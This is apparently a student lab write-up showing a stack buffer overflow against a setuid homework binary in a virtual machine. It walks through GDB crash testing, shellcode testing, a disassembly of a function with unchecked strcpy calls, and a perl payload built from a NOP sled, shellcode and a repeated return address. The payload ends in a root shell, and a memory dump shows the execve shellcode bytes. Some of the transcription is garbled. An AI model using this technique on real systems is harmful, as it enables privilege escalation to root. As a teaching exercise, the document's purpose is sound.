Using GDB

```
(gdb) r A A `perl -e 'print "A"x138'`
Starting program: /home/wei/Desktop/HW3/hw1 A A `perl -e 'print "A"x138'`
Program received signal SIGSEGV, Segmentation fault.
0x41414141 in ?? ()
```

Shell code: shellcode.c

Run and test shellcode

```
-rwsrwxr-x 1 root wei 7436 +— 19 21:23 shellcode*
-rw-rw-r-- 1 wei wei 316 +— 19 21:23 shellcode.c
wei@wei-virtual-machine:~/Desktop/HW3$ ./shellcode
# whoami
root
#
```

Getsp

```
root@wei-virtual-machine:/home/wei/Desktop/HW3# ./getsp
Stack pointer(ESP): 0xbffff5c8
root@wei-virtual-machine:/home/wei/Desktop/HW3# ./getsp
Stack pointer(ESP): 0xbffff5c8
```

Create sc file

Calculate and find the return address

```
(qdb) disass UPtest
Dump of assembler code for function UPtest:
   0x08048507 <+0>:
                         Dush
                                %ebp
                         mov
   0x08048508 <+1>:
                                %esp,%ebp
   0x0804850a <+3>:
                         sub
                                 $0x88,%esp
   0x08048510 <+9>:
                         sub
                                $0x8,%esp
   0x08048513 <+12>:
                         pushl
                                0x8(%ebp)
   0x08048516 <+15>:
                         lea
                                 -0x23(%ebp),%eax
   0x08048519 <+18>:
                         push
                                %eax
   0x0804851a <+19>:
                         call
                                0x8048350 <strcpy@plt>
   0x0804851f <+24>:
                         add
                                 $0x10,%esp
   0x08048522 <+27>:
                         sub
                                $0x8,%esp
   0x08048525 <+30>:
                         pushl
                                0xc(%ebp)
   0x08048528 <+33>:
                         lea
                                 -0x3c(%ebp),%eax
   0x0804852b <+36>:
                         push
                                %eax
   0x0804852c <+37>:
                         call
                                0x8048350 <strcpy@plt>
   0x08048531 <+42>:
                         add
                                 $0x10,%esp
   0x08048534 <+45>:
                         sub
                                $0x8,%esp
   0x08048537 <+48>:
                         pushl
                                0x10(%ebp)
                         lea
                                 -0x82(%ebp),%eax
   0x0804853a <+51>:
   0x08048540 <+57>:
                                %eax
                         push
   0x08048541 <+58>:
                         call
                                0x8048350 <strcpy@plt>
   0x08048546 <+63>:
                         add
                                $0x10,%esp
   0x08048549 <+66>:
                         sub
                                 $0x8,%esp
   0x0804854c <+69>:
                                 $0x8048674
                         push
   0x08048551 <+74>:
                         lea
                                 -0x3c(%ebp),%eax
   0x08048554 <+77>:
                         push
                                %eax
                         call
=> 0x08048555 <+78>:
                                0x8048340 <strcmp@plt>
```

```
(gdb) b *0x08048555
Breakpoint 1 at 0x8048555
(gdb) r A A `perl -e 'print "\x90"x53'; ``cat sc ``perl -e 'print "\x78\xf4\xff\x
bf"x20';
Starting program: /home/wei/Desktop/HW3/hw1 A A `perl -e 'print "\x90"x53';``cat
     'perl -e 'print "\x78\xf4\xff\xbf"x20';
Breakpoint 1, 0x08048555 in UPtest ()
(gdb) x/64wx $esp
0xbffff420: 0
                 0xbffff47c
                                  0x08048674
                                                                   0xbfffff498
                                                   0x0804822c
0xbfffff430:
                 0xb7fffa74
                                  0x90900001
                                                   0x90909090
                                                                    0x90909090
0xbffff440:
                 0x90909090
                                  0x90909090
                                                   0x90909090
                                                                   0x90909090
0xbfffff450:
                 0x90909090
                                  0x90909090
                                                   0x90909090
                                                                    0x90909090
0xbffff460:
                 0x90909090
                                  0x90909090
                                                   0x31909090
                                                                    0xb0db31c0
0xbffff470:
                 0xeb80cd17
                                  0x76895e1f
                                                   0x88c03108
                                                                    0x46890746
0xbfffff480:
                 0x890bb00c
                                  0x084e8df3
                                                   0xcd0c568d
                                                                    0x89db3180
0xbfffff490:
                 0x80cd40d8
                                  0xffffdce8
                                                   0x69622fff
                                                                   0x68732f6e
0xbffff4a0:
                 0xbffff478
                                  0xbffff478
                                                   0xbffff478
                                                                    0xbffff478
0xbffff4b0:
                 0xbffff478
                                  0xbffff478
                                                   0xbffff478
                                                                    0xbffff478
0xbfffff4c0:
                 0xbffff478
                                  0xbffff478
                                                   0xbffff478
                                                                    0xbffff478
0xbffff4d0:
                 0xbffff478
                                  0xbffff478
                                                   0xbffff478
                                                                    0xbffff478
0xbffff4e0:
                 0xbffff478
                                  0xbffff478
                                                   0xbffff478
                                                                    0xbffff478
0xbffff4f0:
                0x00000000
                                  0xbffff584
                                                  0xbffff598
                                                                   0x00000000
```

(gdb) x/64wx	\$ebp-128			
0xbfffff438:	0x90909090	0x90909090	0x90909090	0x90909090
0xbfffff448:	0x90909090	0x90909090	0x90909090	0x90909090
0xbfffff458:	0x90909090	0x90909090	0x90909090	0x90909090
0xbffff468:	0x31909090	0xb0db31c0	0xeb80cd17	0x76895e1f
0xbffff478:	0x88c03108	0x46890746	0x890bb00c	0x084e8df3
0xbfffff488:	0xcd0c568d	0x89db3180	0x80cd40d8	0xffffdce8
0xbfffff498:	0x69622fff	0x68732f6e	0xbffff478	0xbffff478
0xbfffff4a8:	0xbffff478	0xbffff478	0xbffff478	0xbffff478
0xbffff4b8:	0xbffff478	0xbffff478	0xbffff478	0xbffff478
0xbfffff4c8:	0xbffff478	0xbffff478	0xbffff478	0xbffff478
0xbffff4d8:	0xbffff478	0xbffff478	0xbffff478	0xbffff478
0xbfffff4e8:	0xbffff478	0xbffff478	0x00000000	0xbffff584

Exploit!!

```
root@wei-virtual-machine:/home/wei/Desktop/HW3# ./hw1 A A `perl -e 'print "\x90"
x53';``cat sc ``perl -e 'print "\x78\xf4\xff\xbf"x20';`
# whoami
root
# ■
```